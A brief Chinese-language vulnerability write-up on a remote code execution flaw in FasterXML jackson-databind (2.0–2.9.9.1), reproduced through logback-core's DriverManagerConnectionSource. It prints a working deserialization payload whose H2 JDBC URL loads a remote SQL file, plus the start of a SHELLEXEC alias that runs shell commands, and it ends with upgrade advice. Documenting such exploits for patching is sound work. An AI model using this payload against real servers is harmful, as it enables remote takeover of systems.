0x00漏洞介绍
近日,FasterXML Jackson-databind远程代码执行漏洞的利用方式公开。此漏洞利用FasterXML Jackson-databind的logback-core类建立JDBC连接,加载插入恶意代码的sql文件,获取服务器权限,实现远程代码执行漏洞的利用。
受影响版本 FasterXML jackson-databind 2.0 - 2.9.9.1
这里之前的 jackson 漏洞存在很多次绕过,都是找到一些可以反序列化使用的类,之前影响 2.8.9,2.9.2的 POC 等等,到 3.X 之后 jackson 使用白名单可能就变得安全的多。
0x01漏洞复现
环境依赖下面五个类
- jackson-databind-2.9.8
- jackson-annotations-2.9.8
- jackson-core-2.9.8
- logback-core-1.3.0-alpha4
- h2-1.4.199
看下反序列化的过程
1 | require 'java' |
通过调用 enableDefaultTyping() 方法,然后利用 readValue 方法进行反序列化,这里反序列化的 POC 是通过 JDBC,服务器可以远程加载远端的恶意 sql 文件并执行其中的代码。
Payload 如下:
1 | "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'\"}]" |
远程sql文件如下:
1 | CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { |
执行成功
0x02漏洞修复
升级到FasterXML jackson-databind最新版本。